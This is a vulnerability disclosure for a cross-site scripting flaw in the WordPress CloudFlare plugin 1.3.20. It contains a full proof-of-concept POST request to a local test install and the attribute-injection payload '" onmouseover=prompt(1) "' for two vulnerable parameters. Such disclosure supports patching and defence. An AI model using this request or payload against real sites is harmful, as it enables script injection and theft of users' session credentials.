WordPress CloudFlare 1.3.20 Cross Site Scripting

`Product: CloudFlare  
Exploit Author: Sachin Wagh  
Version: 1.3.20  
Home page Link: https://wordpress.org/plugins/cloudflare/  
============================================================================  
Details:  
The CloudFlare plugin for WordPress is prone to a multiple cross-site  
scripting vulnerability because it fails to sufficiently sanitize  
user-supplied input.  
An attacker may leverage these issues to execute arbitrary script code  
in the browser of an unsuspecting user in the context of the affected  
site. This may allow the attacker to steal cookie-based authentication  
credentials and to launch other attacks.  
============================================================================  
Burp Request:  
1. Proof-Of-Concept :  
POST /wordpress-4.4/wordpress/wp-admin/options-general.php?page=cloudflare  
HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0)  
Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://localhost/wordpress-4.4/wordpress/wp-admin/options-general.php?page=cloudflare  
Cookie: wp-saving-post=18-check;  
wordpress_9053f69aa70f4fc50a08aff40972c70e=root%7C1459166935%7CmhzDPJLTdAv6wtFthkPMuBVbqk9E3xYpDYYM4BUX6ZO%7Cab29c43dbb33e3d5a29f2429300eb002222bdd9b6b858ae3b013c18bcc0bb553;  
wp-settings-time-1=1458990477;  
wp-settings-1=libraryContent%3Dbrowse%26mfold%3Do%26posts_list_mode%3Dexcerpt%26uploader%3D1%26widgets_access%3Doff;  
wordpress_test_cookie=WP+Cookie+check;  
wordpress_logged_in_9053f69aa70f4fc50a08aff40972c70e=root%7C1459166935%7CmhzDPJLTdAv6wtFthkPMuBVbqk9E3xYpDYYM4BUX6ZO%7Cf50e3437ac630f6c710ae4be1f6f8a735a9531ece8b65c9b654d9ad8a5e52aa2;  
security_level=0; _ga=GA1.1.1331075502.1458634204;  
PHPSESSID=4gaqfar5bmtmrnpana3a6crff6  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 299  
cloudflare-db-api-nonce=0eabd6433c&_wp_http_referer=%2Fwordpress-4.4%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Dcloudflare&cloudflare_zone_name=XSS-1&key=XSS-2&email=sa%40gmail.com&protocol_rewrite=1&submit=Update+options+%C2%BB  
2. Payload : " onmouseover=prompt(1) "  
============================================================================  
Vulnerable Product: [+] CloudFlare 1.3.20  
Vulnerable Parameter(s):  
[+]cloudflare_zone_name  
[+]key  
  
============================================================================  
Affected Area(s):  
[+] http://localhost/wordpress-4.4/wordpress/wp-admin/options-general.php?page=cloudflare  
============================================================================  
Credits & Authors :  
Sachin Wagh (@tiger_tigerboy)  
============================================================================  
`